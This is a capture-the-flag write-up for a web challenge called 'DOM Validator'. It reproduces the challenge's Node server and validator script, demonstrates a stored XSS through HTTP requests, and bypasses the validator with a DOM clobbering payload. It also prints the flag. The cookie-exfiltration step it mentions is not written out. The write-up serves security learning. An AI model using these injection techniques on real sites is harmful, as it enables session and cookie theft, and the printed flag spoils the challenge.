# ▼▼▼DOM Validator(Web:130pts、solved:73/1374=5.3%)▼▼▼
This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf)
```Always remember to validate your DOMs before you render them.
Author: kmh11```
---
## 【source code】
```var express = require('express')var app = express()
app.use(express.urlencoded({ extended: false }))app.use(express.static('public'))
app.get('/', function (req, res) {	res.send(`<html><head><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/skeleton/2.0.4/skeleton.min.css"></head><body style="background-color: black; text-align: center;"><h1 style="color: white; margin-top: 2em;">Create Post</h1><form action='/posts' method='POST'><input name='title' placeholder='Post title'><textarea name='content' placeholder='Post content'></textarea><button type='submit' style="color: white">Create Post</button></form><h1 style="color: white">Report Post</h1><form action='/report' method='POST'><input name='url' placeholder='Post URL'><button type='submit' style="color: white">Report Post</button></form></body></html>`)})
var fs = require('fs')app.post('/posts', function (req, res) {	// title must be a valid filename	if (!(/^[\w\-. ]+$/.test(req.body.title)) || req.body.title.indexOf('..') !== -1) return res.sendStatus(400)	if (fs.existsSync('public/posts/' + req.body.title + '.html')) return res.sendStatus(409)	fs.writeFileSync('public/posts/' + req.body.title + '.html', `<html>	<head>		<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/skeleton/2.0.4/skeleton.min.css">		<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/sha512.js"></script>		<script src="../scripts/DOMValidator.js"></script>	</head>	<body>		<h1>${req.body.title}</h1> ${req.body.content}	</body></html>`)	res.redirect('/posts/' + req.body.title + '.html')})
${req.body.content}
// admin visiting pagevar puppeteer = require('puppeteer')app.post('/report', async function (req, res) {	res.sendStatus(200)	try {		var browser = await puppeteer.launch({			args: ['--no-sandbox']		})		var page = await browser.newPage()		await page.setCookie({			name: 'flag',			value: process.env.FLAG,			domain: req.get('host')		})		await page.goto(req.body.url, {'waitUntil': 'networkidle0'})	} catch (e) {		console.log(e)	}})
app.listen(3002)```
---
## 【Understanding functions】
```POST /posts HTTP/1.1Host: dom.2019.chall.actf.coContent-Type: application/x-www-form-urlencoded
title=testssssss&content=%3Ctest%3E```
↓
```GET /posts/testssssss.html HTTP/1.1Host: dom.2019.chall.actf.co```
↓
```HTTP/1.1 200 OKAccept-Ranges: bytesCache-Control: public, max-age=0Content-Length: 496Content-Type: text/html; charset=UTF-8Date: Thu, 25 Apr 2019 01:27:49 GMTEtag: W/"1f0-16a521b10cd"Last-Modified: Thu, 25 Apr 2019 01:27:46 GMTServer: CaddyServer: nginx/1.14.1X-Powered-By: ExpressConnection: close
<html>	<head>		<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/skeleton/2.0.4/skeleton.min.css">		<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/sha512.js"></script>		<script src="../scripts/DOMValidator.js"></script>	</head>	<body>		<h1>testssssss</h1> <test>	</body></html>```
<test>
↓
**Stored XSS vulnerability exists!!**
---
Also check the script content below
↓
```GET /scripts/DOMValidator.js HTTP/1.1Host: dom.2019.chall.actf.co```
↓
```HTTP/1.1 200 OKAccept-Ranges: bytesCache-Control: public, max-age=0Content-Length: 797Content-Type: application/javascript; charset=UTF-8Date: Thu, 25 Apr 2019 01:27:49 GMTEtag: W/"31d-16a242b5dd8"Last-Modified: Tue, 16 Apr 2019 03:23:03 GMTServer: CaddyServer: nginx/1.14.1X-Powered-By: ExpressConnection: close
function checksum (element) {	var string = ''	string += (element.attributes ? element.attributes.length : 0) + '|'	for (var i = 0; i < (element.attributes ? element.attributes.length : 0); i++) {		string += element.attributes[i].name + ':' + element.attributes[i].value + '|'	}	string += (element.childNodes ? element.childNodes.length : 0) + '|'	for (var i = 0; i < (element.childNodes ? element.childNodes.length : 0); i++) {		string += checksum(element.childNodes[i]) + '|'	}	return CryptoJS.SHA512(string).toString(CryptoJS.enc.Hex)}var request = new XMLHttpRequest()request.open('GET', location.href, false)request.send(null)if (checksum((new DOMParser()).parseFromString(request.responseText, 'text/html')) !== document.doctype.systemId) {	document.documentElement.remove()}```
Summary...
・The html file of title is created
・Content parameter is reflected, content parameter is not escaped(`Stored XSS`)
・Everything is deleted by `document.documentElement.remove()` of /scripts/DOMValidator.js
---
## 【Way of thinking】
**Method 1.  Do not load /scripts/DOMValidator.js**
・Because we can decide the file name by ourself, can you bypass the .html extension?
・If the above can be done, then a **relative path overwrite attack** may be performed.
**Method 2.  DOM clobbering to prevent remove() processing**
↓
I decided to solve in 2(**DOM clobbering**)
---
## 【exploit(DOM clobbering)】
```POST /posts HTTP/1.1Host: dom.2019.chall.actf.coContent-Type: application/x-www-form-urlencoded
title=my_file_name&content=<form><input id=remove>```
↓
If I let (http://dom.2019.chall.actf.co/posts/my_file_name.html) be an admin, HeadlessChrome will access to the my server.
↓
`actf{its_all_relative}`
